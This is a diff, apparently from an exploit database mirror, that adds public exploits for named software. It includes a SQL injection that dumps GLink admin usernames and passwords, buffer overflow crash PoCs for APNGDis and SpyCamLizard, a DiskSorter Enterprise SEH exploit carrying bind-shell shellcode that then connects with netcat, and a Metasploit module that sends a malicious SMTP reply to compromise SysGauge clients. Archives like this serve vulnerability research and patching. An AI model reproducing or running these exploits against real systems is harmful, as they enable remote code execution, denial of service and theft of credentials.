==10563== at 0x4C2BBAF: malloc (vg_replace_malloc.c:299)
|
||||||
|
==10563== by 0x54C97CD: png_malloc (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
|
||||||
|
==10563== by 0x54DAF2D: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
|
||||||
|
==10563== by 0x54CD3B0: png_read_update_info (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
|
||||||
|
==10563== by 0x109838: info_fn(png_struct_def*, png_info_def*) (apngdis.cpp:58)
|
||||||
|
==10563== by 0x54CA2E0: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
|
||||||
|
==10563== by 0x54CAFBA: png_process_data (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
|
||||||
|
==10563== by 0x109D41: processing_data(png_struct_def*, png_info_def*, unsigned char*, unsigned int) (apngdis.cpp:158)
|
||||||
|
==10563== by 0x10A891: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:337)
|
||||||
|
==10563== by 0x10B24E: main (apngdis.cpp:498)
|
||||||
|
==10563==
|
||||||
|
==10563== Invalid read of size 8
|
||||||
|
==10563== at 0x4C30272: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
|
||||||
|
==10563== by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
|
||||||
|
==10563== by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
|
||||||
|
==10563== by 0x10B24E: main (apngdis.cpp:498)
|
||||||
|
==10563== Address 0x5edb3b8 is 28,776 bytes inside a block of size 65,593 free'd
|
||||||
|
==10563== at 0x4C2CDDB: free (vg_replace_malloc.c:530)
|
||||||
|
==10563== by 0x54CF643: png_destroy_read_struct (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
|
||||||
|
==10563== by 0x109E20: processing_finish(png_struct_def*, png_info_def*) (apngdis.cpp:176)
|
||||||
|
==10563== by 0x10A9FD: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:361)
|
||||||
|
==10563== by 0x10B24E: main (apngdis.cpp:498)
|
||||||
|
==10563== Block was alloc'd at
|
||||||
|
==10563== at 0x4C2BBAF: malloc (vg_replace_malloc.c:299)
|
||||||
|
==10563== by 0x54C97CD: png_malloc (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
|
||||||
|
==10563== by 0x54DAF2D: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
|
||||||
|
==10563== by 0x54CD3B0: png_read_update_info (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
|
||||||
|
==10563== by 0x109838: info_fn(png_struct_def*, png_info_def*) (apngdis.cpp:58)
|
||||||
|
==10563== by 0x54CA2E0: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
|
||||||
|
==10563== by 0x54CAFBA: png_process_data (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
|
||||||
|
==10563== by 0x109D41: processing_data(png_struct_def*, png_info_def*, unsigned char*, unsigned int) (apngdis.cpp:158)
|
||||||
|
==10563== by 0x10A891: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:337)
|
||||||
|
==10563== by 0x10B24E: main (apngdis.cpp:498)
|
||||||
|
==10563==
|
||||||
|
==10563== Invalid read of size 8
|
||||||
|
==10563== at 0x4C30140: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
|
||||||
|
==10563== by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
|
||||||
|
==10563== by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
|
||||||
|
==10563== by 0x10B24E: main (apngdis.cpp:498)
|
||||||
|
==10563== Address 0x0 is not stack'd, malloc'd or (recently) free'd
|
||||||
|
==10563==
|
||||||
|
==10563==
|
||||||
|
==10563== Process terminating with default action of signal 11 (SIGSEGV)
|
||||||
|
==10563== Access not within mapped region at address 0x0
|
||||||
|
==10563== at 0x4C30140: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
|
||||||
|
==10563== by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
|
||||||
|
==10563== by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
|
||||||
|
==10563== by 0x10B24E: main (apngdis.cpp:498)
|
||||||
|
==10563== If you believe this happened as a result of a stack
|
||||||
|
==10563== overflow in your program's main thread (unlikely but
|
||||||
|
==10563== possible), you can try to increase the size of the
|
||||||
|
==10563== main thread stack using the --main-stacksize= flag.
|
||||||
|
==10563== The main thread stack size used in this run was 8388608.
|
||||||
|
==10563==
|
||||||
|
==10563== HEAP SUMMARY:
|
||||||
|
==10563== in use at exit: 16,777,901 bytes in 10 blocks
|
||||||
|
==10563== total heap usage: 24 allocs, 14 frees, 16,997,058 bytes allocated
|
||||||
|
==10563==
|
||||||
|
==10563== 64 bytes in 2 blocks are definitely lost in loss record 6 of 9
|
||||||
|
==10563== at 0x4C2C93F: operator new[](unsigned long) (vg_replace_malloc.c:423)
|
||||||
|
==10563== by 0x10B4ED: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:112)
|
||||||
|
==10563== by 0x10A24D: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:244)
|
||||||
|
==10563== by 0x10B24E: main (apngdis.cpp:498)
|
||||||
|
==10563==
|
||||||
|
==10563== LEAK SUMMARY:
|
||||||
|
==10563== definitely lost: 64 bytes in 2 blocks
|
||||||
|
==10563== indirectly lost: 0 bytes in 0 blocks
|
||||||
|
==10563== possibly lost: 0 bytes in 0 blocks
|
||||||
|
==10563== still reachable: 16,777,837 bytes in 8 blocks
|
||||||
|
==10563== suppressed: 0 bytes in 0 blocks
|
||||||
|
==10563== Reachable blocks (those to which a pointer was found) are not shown.
|
||||||
|
==10563== To see them, rerun with: --leak-check=full --show-leak-kinds=all
|
||||||
|
==10563==
|
||||||
|
==10563== For counts of detected and suppressed errors, rerun with: -v
|
||||||
|
==10563== ERROR SUMMARY: 1028641 errors from 5 contexts (suppressed: 0 from 0)
|
||||||
|
Segmentation fault
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
w_h_chunk_poc.png
|
||||||
|
|
||||||
96
platforms/multiple/dos/41670.txt
Executable file
96
platforms/multiple/dos/41670.txt
Executable file
|
|
@ -0,0 +1,96 @@
|
||||||
|
# Exploit Title: APNGDis filename Buffer Overflow
|
||||||
|
# Date: 14-03-2017
|
||||||
|
# Exploit Author: Alwin Peppels
|
||||||
|
# Vendor Homepage: http://apngdis.sourceforge.net/
|
||||||
|
# Software Link: https://sourceforge.net/projects/apngdis/files/2.8/
|
||||||
|
# Version: 2.8
|
||||||
|
# Tested on: Linux Debian / Windows 7
|
||||||
|
# CVE : CVE-2017-6191
|
||||||
|
|
||||||
|
Additional analysis:
|
||||||
|
https://www.onvio.nl/nieuws/cve-2017-6191-apngdis-filename-buffer-overflow
|
||||||
|
|
||||||
|
Textbook buffer overflow; a fixed size buffer gets allocated with
|
||||||
|
szPath[256], and the first command line argument is stored without
|
||||||
|
validation.
|
||||||
|
|
||||||
|
|
||||||
|
int main(int argc, char** argv)
|
||||||
|
{
|
||||||
|
unsigned int i, j;
|
||||||
|
char * szInput;
|
||||||
|
char * szOutPrefix;
|
||||||
|
char szPath[256];
|
||||||
|
char szOut[256];
|
||||||
|
std::vector frames;
|
||||||
|
printf("\nAPNG Disassembler 2.8\n\n");
|
||||||
|
|
||||||
|
if (argc > 1)
|
||||||
|
szInput = argv[1];
|
||||||
|
else
|
||||||
|
{
|
||||||
|
printf("Usage: apngdis anim.png [name]\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
strcpy(szPath, szInput);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
With 'A' * 1000 as argv[1] :
|
||||||
|
|
||||||
|
|
||||||
|
GDB:
|
||||||
|
|
||||||
|
Program received signal SIGSEGV, Segmentation fault.
|
||||||
|
strlen () at ../sysdeps/x86_64/strlen.S:106
|
||||||
|
106 ../sysdeps/x86_64/strlen.S: No such file or directory.
|
||||||
|
(gdb) i r
|
||||||
|
rax 0x4141414141414141 4702111234474983745
|
||||||
|
rbx 0x7ffff70ea600 140737338320384
|
||||||
|
rcx 0x141 321
|
||||||
|
rdx 0x0 0
|
||||||
|
rsi 0x7fffffffca40 140737488341568
|
||||||
|
rdi 0x4141414141414141 4702111234474983745
|
||||||
|
rbp 0x7fffffffceb0 0x7fffffffceb0
|
||||||
|
rsp 0x7fffffffc948 0x7fffffffc948
|
||||||
|
r8 0x4141414141414141 4702111234474983745
|
||||||
|
r9 0x9 9
|
||||||
|
r10 0x73 115
|
||||||
|
r11 0x7fffffffce78 140737488342648
|
||||||
|
r12 0x555555558c9f 93824992251039
|
||||||
|
r13 0x7fffffffcec8 140737488342728
|
||||||
|
r14 0x0 0
|
||||||
|
r15 0xffffffffffffffff -1
|
||||||
|
rip 0x7ffff6dd1486 0x7ffff6dd1486 <strlen+38>
|
||||||
|
eflags 0x10297 [ CF PF AF SF IF RF ]
|
||||||
|
|
||||||
|
|
||||||
|
Valgrind:
|
||||||
|
|
||||||
|
==10685== Invalid read of size 1
|
||||||
|
==10685== at 0x4C2EDA2: strlen (vg_replace_strmem.c:454)
|
||||||
|
==10685== by 0x5B6ADA2: vfprintf (vfprintf.c:1637)
|
||||||
|
==10685== by 0x5B711F8: printf (printf.c:33)
|
||||||
|
==10685== by 0x109F05: load_apng(char*, std::vector<APNGFrame,
|
||||||
|
std::allocator<APNGFrame> >&) (apngdis.cpp:200)
|
||||||
|
==10685== by 0x10B24E: main (apngdis.cpp:498)
|
||||||
|
==10685== Address 0x4141414141414141 is not stack'd, malloc'd or
|
||||||
|
(recently) free'd
|
||||||
|
==10685==
|
||||||
|
==10685==
|
||||||
|
==10685== Process terminating with default action of signal 11 (SIGSEGV)
|
||||||
|
==10685== General Protection Fault
|
||||||
|
==10685== at 0x4C2EDA2: strlen (vg_replace_strmem.c:454)
|
||||||
|
==10685== by 0x5B6ADA2: vfprintf (vfprintf.c:1637)
|
||||||
|
==10685== by 0x5B711F8: printf (printf.c:33)
|
||||||
|
==10685== by 0x109F05: load_apng(char*, std::vector<APNGFrame,
|
||||||
|
std::allocator<APNGFrame> >&) (apngdis.cpp:200)
|
||||||
|
==10685== by 0x10B24E: main (apngdis.cpp:498)
|
||||||
|
Reading '==10685==
|
||||||
|
==10685== HEAP SUMMARY:
|
||||||
|
==10685== in use at exit: 0 bytes in 0 blocks
|
||||||
|
==10685== total heap usage: 2 allocs, 2 frees, 73,728 bytes allocated
|
||||||
|
==10685==
|
||||||
|
==10685== All heap blocks were freed -- no leaks are possible
|
||||||
24
platforms/php/webapps/41665.txt
Executable file
24
platforms/php/webapps/41665.txt
Executable file
|
|
@ -0,0 +1,24 @@
|
||||||
|
# # # # #
|
||||||
|
# Exploit Title: GLink Word Link Script v1.2.3 - SQL Injection
|
||||||
|
# Google Dork: N/A
|
||||||
|
# Date: 22.03.2017
|
||||||
|
# Vendor Homepage: http://www.tufat.com/
|
||||||
|
# Software: http://www.tufat.com/wp-content/uploads/sites/4/2015/zips/script_131.zip
|
||||||
|
# Demo: http://www.tufat.com/glink-word-link-script/
|
||||||
|
# Version: 1.2.3
|
||||||
|
# Tested on: Win7 x64, Kali Linux x64
|
||||||
|
# # # # #
|
||||||
|
# Exploit Author: Ihsan Sencan
|
||||||
|
# Author Web: http://ihsan.net
|
||||||
|
# Author Mail : ihsan[@]ihsan[.]net
|
||||||
|
# #ihsansencan
|
||||||
|
# # # # #
|
||||||
|
# SQL Injection/Exploit :
|
||||||
|
# http://localhost/[PATH]/url.php?id=[SQL]
|
||||||
|
# -1'+union+select+1,2,3,4,5,6,7,concat(user,0x3a,pass),9,10,11,12,13,14,15,16,17,18+from+glink_admin_users--+-
|
||||||
|
# http://localhost/[PATH]/get_words.php?gid=[SQL]
|
||||||
|
# -1'+union+select+1,concat(user,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+glink_admin_users--+-&step=3
|
||||||
|
# http://localhost/[PATH]/get_words.php?wid=[SQL]
|
||||||
|
# -1'+union+select+1,2,concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+glink_admin_users--+-&gid=1&step=3
|
||||||
|
# Etc...
|
||||||
|
# # # # #
|
||||||
36
platforms/windows/dos/41667.py
Executable file
36
platforms/windows/dos/41667.py
Executable file
|
|
@ -0,0 +1,36 @@
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
|
||||||
|
author = '''
|
||||||
|
|
||||||
|
##############################################
|
||||||
|
# Created: ScrR1pTK1dd13 #
|
||||||
|
# Name: Greg Priest #
|
||||||
|
# Mail: ScR1pTK1dd13.slammer@gmail.com #
|
||||||
|
##############################################
|
||||||
|
|
||||||
|
# Exploit Title: SpyCamLizard SC liz v1.230 Remote Buffer Overflow ZeroDay
|
||||||
|
# Date: 2017.03.22
|
||||||
|
# Exploit Author: Greg Priest
|
||||||
|
# Version: SpyCamLizard v1.230
|
||||||
|
# Tested on: Windows7 x64 HUN/ENG Enterprise
|
||||||
|
'''
|
||||||
|
|
||||||
|
print "SpyCamLizard DoS Exploit running!"
|
||||||
|
|
||||||
|
host = "192.168.56.1"
|
||||||
|
port = 80
|
||||||
|
overflow = "A" * 1189
|
||||||
|
nextSEH = "BBBB"
|
||||||
|
SEH = "CCCC"
|
||||||
|
overflow2= "D" * 3803
|
||||||
|
|
||||||
|
crash = overflow+nextSEH+SEH+overflow2
|
||||||
|
|
||||||
|
httpsocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||||
|
httpsocket.connect((host,port))
|
||||||
|
httpsocket.send("GET " + crash + " HTTP/1.0\r\n\r\n")
|
||||||
|
httpsocket.close()
|
||||||
|
|
||||||
|
|
||||||
|
print "SpyCamLizard shutted down!"
|
||||||
85
platforms/windows/remote/41666.py
Executable file
85
platforms/windows/remote/41666.py
Executable file
|
|
@ -0,0 +1,85 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
# Exploit Title: DiskSorter Enterprise 9.5.12 - 'GET' Remote buffer overflow (SEH)
|
||||||
|
# Date: 2017-03-22
|
||||||
|
# Exploit Author: Daniel Teixeira
|
||||||
|
# Author Homepage: www.danielteixeira.com
|
||||||
|
# Vendor Homepage: http://www.disksorter.com
|
||||||
|
# Software Link: http://www.disksorter.com/setups/disksorterent_setup_v9.5.12.exe
|
||||||
|
# Version: 9.5.12
|
||||||
|
# Tested on: Windows 7 SP1 x86
|
||||||
|
|
||||||
|
import socket,os,time,struct
|
||||||
|
|
||||||
|
host = "192.168.2.186"
|
||||||
|
port = 80
|
||||||
|
|
||||||
|
#Bad Chars \x00\x09\x0a\x0d\x20"
|
||||||
|
|
||||||
|
#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp -b "\x00\x09\x0a\x0d\x20" -f python
|
||||||
|
shellcode = ""
|
||||||
|
shellcode += "\xd9\xc0\xd9\x74\x24\xf4\x5e\xbf\xb0\x9b\x0e\xf2\x33"
|
||||||
|
shellcode += "\xc9\xb1\x53\x31\x7e\x17\x83\xee\xfc\x03\xce\x88\xec"
|
||||||
|
shellcode += "\x07\xd2\x47\x72\xe7\x2a\x98\x13\x61\xcf\xa9\x13\x15"
|
||||||
|
shellcode += "\x84\x9a\xa3\x5d\xc8\x16\x4f\x33\xf8\xad\x3d\x9c\x0f"
|
||||||
|
shellcode += "\x05\x8b\xfa\x3e\x96\xa0\x3f\x21\x14\xbb\x13\x81\x25"
|
||||||
|
shellcode += "\x74\x66\xc0\x62\x69\x8b\x90\x3b\xe5\x3e\x04\x4f\xb3"
|
||||||
|
shellcode += "\x82\xaf\x03\x55\x83\x4c\xd3\x54\xa2\xc3\x6f\x0f\x64"
|
||||||
|
shellcode += "\xe2\xbc\x3b\x2d\xfc\xa1\x06\xe7\x77\x11\xfc\xf6\x51"
|
||||||
|
shellcode += "\x6b\xfd\x55\x9c\x43\x0c\xa7\xd9\x64\xef\xd2\x13\x97"
|
||||||
|
shellcode += "\x92\xe4\xe0\xe5\x48\x60\xf2\x4e\x1a\xd2\xde\x6f\xcf"
|
||||||
|
shellcode += "\x85\x95\x7c\xa4\xc2\xf1\x60\x3b\x06\x8a\x9d\xb0\xa9"
|
||||||
|
shellcode += "\x5c\x14\x82\x8d\x78\x7c\x50\xaf\xd9\xd8\x37\xd0\x39"
|
||||||
|
shellcode += "\x83\xe8\x74\x32\x2e\xfc\x04\x19\x27\x31\x25\xa1\xb7"
|
||||||
|
shellcode += "\x5d\x3e\xd2\x85\xc2\x94\x7c\xa6\x8b\x32\x7b\xc9\xa1"
|
||||||
|
shellcode += "\x83\x13\x34\x4a\xf4\x3a\xf3\x1e\xa4\x54\xd2\x1e\x2f"
|
||||||
|
shellcode += "\xa4\xdb\xca\xda\xac\x7a\xa5\xf8\x51\x3c\x15\xbd\xf9"
|
||||||
|
shellcode += "\xd5\x7f\x32\x26\xc5\x7f\x98\x4f\x6e\x82\x23\x7e\x33"
|
||||||
|
shellcode += "\x0b\xc5\xea\xdb\x5d\x5d\x82\x19\xba\x56\x35\x61\xe8"
|
||||||
|
shellcode += "\xce\xd1\x2a\xfa\xc9\xde\xaa\x28\x7e\x48\x21\x3f\xba"
|
||||||
|
shellcode += "\x69\x36\x6a\xea\xfe\xa1\xe0\x7b\x4d\x53\xf4\x51\x25"
|
||||||
|
shellcode += "\xf0\x67\x3e\xb5\x7f\x94\xe9\xe2\x28\x6a\xe0\x66\xc5"
|
||||||
|
shellcode += "\xd5\x5a\x94\x14\x83\xa5\x1c\xc3\x70\x2b\x9d\x86\xcd"
|
||||||
|
shellcode += "\x0f\x8d\x5e\xcd\x0b\xf9\x0e\x98\xc5\x57\xe9\x72\xa4"
|
||||||
|
shellcode += "\x01\xa3\x29\x6e\xc5\x32\x02\xb1\x93\x3a\x4f\x47\x7b"
|
||||||
|
shellcode += "\x8a\x26\x1e\x84\x23\xaf\x96\xfd\x59\x4f\x58\xd4\xd9"
|
||||||
|
shellcode += "\x7f\x13\x74\x4b\xe8\xfa\xed\xc9\x75\xfd\xd8\x0e\x80"
|
||||||
|
shellcode += "\x7e\xe8\xee\x77\x9e\x99\xeb\x3c\x18\x72\x86\x2d\xcd"
|
||||||
|
shellcode += "\x74\x35\x4d\xc4"
|
||||||
|
|
||||||
|
#Buffer overflow
|
||||||
|
junk = "A" * 2487
|
||||||
|
|
||||||
|
#JMP Short = EB 05
|
||||||
|
nSEH = "\x90\x90\xEB\x05" #Jump short 5
|
||||||
|
#POP POP RET (libspp.dll)
|
||||||
|
SEH = struct.pack('<L',0x10015FFE)
|
||||||
|
|
||||||
|
#Generated by mona.py v2.0, rev 568 - Immunity Debugger
|
||||||
|
egg = "w00tw00t"
|
||||||
|
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
|
||||||
|
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
|
||||||
|
|
||||||
|
#NOPS
|
||||||
|
nops = "\x90"
|
||||||
|
|
||||||
|
#Payload
|
||||||
|
payload = junk + nSEH + SEH + egghunter + nops * 10 + egg + shellcode + nops * (6000 - len(junk) - len(nSEH) - len(SEH) - len(egghunter) - 10 - len(egg) - len(shellcode))
|
||||||
|
|
||||||
|
#HTTP Request
|
||||||
|
request = "GET /" + payload + "HTTP/1.1" + "\r\n"
|
||||||
|
request += "Host: " + host + "\r\n"
|
||||||
|
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
|
||||||
|
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
|
||||||
|
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
|
||||||
|
request += "Accept-Encoding: gzip, deflate" + "\r\n"
|
||||||
|
request += "Connection: keep-alive" + "\r\n\r\n"
|
||||||
|
|
||||||
|
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
socket.connect((host,port))
|
||||||
|
socket.send(request)
|
||||||
|
socket.close()
|
||||||
|
|
||||||
|
print "Waiting for shell..."
|
||||||
|
time.sleep(10)
|
||||||
|
os.system("nc " + host + " 4444")
|
||||||
80
platforms/windows/remote/41672.rb
Executable file
80
platforms/windows/remote/41672.rb
Executable file
|
|
@ -0,0 +1,80 @@
|
||||||
|
#
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
#
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
include Msf::Exploit::Remote::TcpServer
|
||||||
|
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
def initialize()
|
||||||
|
super(
|
||||||
|
'Name' => 'SysGauge SMTP Validation Buffer Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will setup an SMTP server expecting a connection from SysGauge 1.5.18
|
||||||
|
via its SMTP server validation. The module sends a malicious response along in the
|
||||||
|
220 service ready response and exploits the client, resulting in an unprivileged shell.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Chris Higgins', # msf Module -- @ch1gg1ns
|
||||||
|
'Peter Baris' # Initial discovery and PoC
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'EDB', '41479' ],
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread'
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 306,
|
||||||
|
'BadChars' => "\x00\x0a\x0d\x20"
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Windows Universal',
|
||||||
|
{
|
||||||
|
'Offset' => 176,
|
||||||
|
'Ret' => 0x6527635E # call esp # QtGui4.dll
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => 'Feb 28 2017',
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
)
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ]),
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_client_connect(c)
|
||||||
|
# Note here that the payload must be split into two parts.
|
||||||
|
# The payload gets jumbled in the stack so we need to split
|
||||||
|
# and align to get it to execute correctly.
|
||||||
|
sploit = "220 "
|
||||||
|
sploit << rand_text(target['Offset'])
|
||||||
|
# Can only use the last part starting from 232 bytes in
|
||||||
|
sploit << payload.encoded[232..-1]
|
||||||
|
sploit << rand_text(2)
|
||||||
|
sploit << [target.ret].pack('V')
|
||||||
|
sploit << rand_text(12)
|
||||||
|
sploit << make_nops(8)
|
||||||
|
# And the first part up to 232 bytes
|
||||||
|
sploit << payload.encoded[0..231]
|
||||||
|
sploit << "ESMTP Sendmail \r\n"
|
||||||
|
|
||||||
|
print_status("Client connected: " + c.peerhost)
|
||||||
|
print_status("Sending payload...")
|
||||||
|
|
||||||
|
c.put(sploit)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
Loading…
Add table
Reference in a new issue